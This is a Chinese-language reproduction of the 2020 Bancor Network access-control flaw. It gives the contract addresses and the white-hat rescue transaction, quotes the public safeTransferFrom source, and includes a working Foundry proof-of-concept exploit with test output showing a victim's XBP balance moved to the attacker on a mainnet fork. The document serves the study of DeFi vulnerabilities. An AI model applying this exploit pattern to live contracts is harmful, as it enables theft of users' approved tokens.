defi 攻击复现 Bancor Network
- 涉及到的交易和地址
受害者合约 BancorNetwork 地址 0x5f58058C0eC971492166763c8C22632B583F667f
BancorNetwork 自行发现该漏洞后,主动转移合约内的资产到安全钱包,所以不存在[攻击者 以及 攻击合约]
转移的合约内资产 Token BlitzPredict (XBP) 地址 0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40
转移资产交易哈希 0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
https://etherscan.io/address/0x5f58058c0ec971492166763c8c22632b583f667f
https://etherscan.io/token/0x28dee01d53fed0edf5f6e310bf8ef9311513ae40
https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
- 交易详情
Transaction Hash:0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
Status:Success
Block:10307564
Timestamp:1896 days ago (Jun-21-2020 06:48:44 AM UTC)
From:0x14Fa61Fd261aB950b9cE07685180A9555ab5d665
Interacted With (To):0x5f58058C0eC971492166763c8C22632B583F667f(Bancor: Vulnerable Contract 2)
ERC-20 Tokens Transferred:
From 0xfd0B4DAa...9a816E67E To Bancor: White Hat Safe Wallet For905,987.977635678910008152 $73.27 BlitzPredict (XBP)
Input Data:
Function: safeTransferFrom(address _token, address _from, address _to, uint256 _value)
MethodID: 0xd9fc4b61
[0]: 00000000000000000000000028dee01d53fed0edf5f6e310bf8ef9311513ae40
[1]: 000000000000000000000000fd0b4daa7ba535741e6b5ba28cba24f9a816e67e
[2]: 00000000000000000000000029551fc9c39a95d8f93ad4209944ff05846a05f3
[3]: 00000000000000000000000000000000000000000000bfd9b4e8f99ec359cb58
调用函数 safeTransferFrom ,函数选择器 0xd9fc4b61,传入参数:转移资产 XBP;源地址 0xfd0b4d;目的地址 Bancor 安全钱包;转移数量 905,987.977635678910008152
- BancorNetwork 合约源码
contracts/utility/TokenHandler.sol
line 505-553
contract TokenHandler {
bytes4 private constant APPROVE_FUNC_SELECTOR = bytes4(keccak256("approve(address,uint256)"));
bytes4 private constant TRANSFER_FUNC_SELECTOR = bytes4(keccak256("transfer(address,uint256)"));
bytes4 private constant TRANSFER_FROM_FUNC_SELECTOR = bytes4(keccak256("transferFrom(address,address,uint256)"));
/**
* @dev executes the ERC20 token's `approve` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _spender approved address
* @param _value allowance amount
*/
function safeApprove(IERC20Token _token, address _spender, uint256 _value) public {
execute(_token, abi.encodeWithSelector(APPROVE_FUNC_SELECTOR, _spender, _value));
}
/**
* @dev executes the ERC20 token's `transfer` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _to target address
* @param _value transfer amount
*/
function safeTransfer(IERC20Token _token, address _to, uint256 _value) public {
execute(_token, abi.encodeWithSelector(TRANSFER_FUNC_SELECTOR, _to, _value));
}
/**
* @dev executes the ERC20 token's `transferFrom` function and reverts upon failure
* the main purpose of this function is to prevent a non standard ERC20 token
* from failing silently
*
* @param _token ERC20 token address
* @param _from source address
* @param _to target address
* @param _value transfer amount
*/
function safeTransferFrom(IERC20Token _token, address _from, address _to, uint256 _value) public {
execute(_token, abi.encodeWithSelector(TRANSFER_FROM_FUNC_SELECTOR, _from, _to, _value));
}
三个函数的 Access Control 全都是 public, 意味着任何人可以调用该函数来进行转账操作。 攻击者可以调用 safeTransferFrom 函数,其中 from 设为任何该合约的用户, to 设为攻击者自己的 address。从而无限制的将用户的 token 转移到自己的钱包
- EXP
https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-06/Bancor_exp.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
/*
Bancor Protocol Access Control Exploit PoC
Some of the newly deployed Bancor contracts had the 'safeTransferFrom' function public.
As a result, if any user had granted approval to these contracts was vulnerable.
The attacker can check if an user had granted an allowance to Bancor Contracts to transfer the ERC20 token
Example tx - https://etherscan.io/tx/0x4643b63dcbfc385b8ab8c86cbc46da18c2e43d277de3e5bc3b4516d3c0fdeb9f
*/
interface IBancor {
function safeTransferFrom(IERC20 _token, address _from, address _to, uint256 _value) external;
}// 定义 IBancor 接口,只包含 safeTransferFrom 一个函数用于后续测试
// 攻击合约
contract BancorExploit is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码
address bancorAddress = 0x5f58058C0eC971492166763c8C22632B583F667f;// BancorNetwork 合约地址
address victim = 0xfd0B4DAa7bA535741E6B5Ba28Cba24F9a816E67E;// 被转移资产的地址
address attacker = address(this);// 定义当前合约为攻击者
IERC20 XBPToken = IERC20(0x28dee01D53FED0Edf5f6E310BF8Ef9311513Ae40); // 把 XBP 地址传入 IERC20 接口,定义该地址为 ERC20 实例
IBancor bancorContract = IBancor(bancorAddress);// 把 BancorNetwork 合约地址传入 IBancor 接口,定义 BancorNetwork 合约实例
function setUp() public {
cheats.createSelectFork("mainnet", 10_307_563); // 交易发生在 10307564,分叉交易发生前一区块
}
// 测试函数
function testsafeTransfer() public {
emit log_named_uint(
"Victim XBPToken Allowance to Bancor Contract : ", (XBPToken.allowance(victim, bancorAddress) / 1 ether)
);// 打印[受害者 给 BancorNetwork 授权 XBP 资产的额度],并以 ether 为单位显示
emit log_named_uint("[Before Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
emit log_named_uint("[Before Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
// 分别打印[攻击之前 受害者 和 攻击者 的 XBP 资产余额],并以 ether 为单位显示
cheats.prank(address(this));//按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止
bancorContract.safeTransferFrom(IERC20(address(XBPToken)),victim,attacker,XBPToken.balanceOf(victim));
// 调用 BancorNetwork 合约的 safeTransferFrom 函数,依次传入参数,要转移的资产[XBP],源地址[受害者],目标地址[攻击者],转移数量[受害者合约的余额]
emit log_string("--------------------------------------------------------------");
emit log_named_uint("[After Attack]Victim XBPToken Balance : ", (XBPToken.balanceOf(victim)) / 1 ether);
emit log_named_uint("[After Attack]Attacker XBPToken Balance : ", (XBPToken.balanceOf(attacker)) / 1 ether);
}// 分别打印[攻击之后 受害者 和 攻击者 的 XBP 资产余额],并以 ether 为单位显示
}
- 使用 forge 命令测试结果
$ forge test Bancor_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 2 files with Solc 0.8.10
[?] Solc 0.8.10 finished in 4.99s
Compiler run successful with warnings:
Ran 1 test for test/Bancor_exp.t.sol:BancorExploit
[PASS] testsafeTransfer() (gas: 79975)
Logs:
Victim XBPToken Allowance to Bancor Contract : : 30517969405419767
[Before Attack]Victim XBPToken Balance : : 905987
[Before Attack]Attacker XBPToken Balance : : 0
--------------------------------------------------------------
[After Attack]Victim XBPToken Balance : : 0
[After Attack]Attacker XBPToken Balance : : 905987
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.88s (1.41s CPU time)
Ran 1 test suite in 3.94s (3.88s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
- 主要参考文章
https://zhuanlan.zhihu.com/p/161627149
https://learnblockchain.cn/article/1182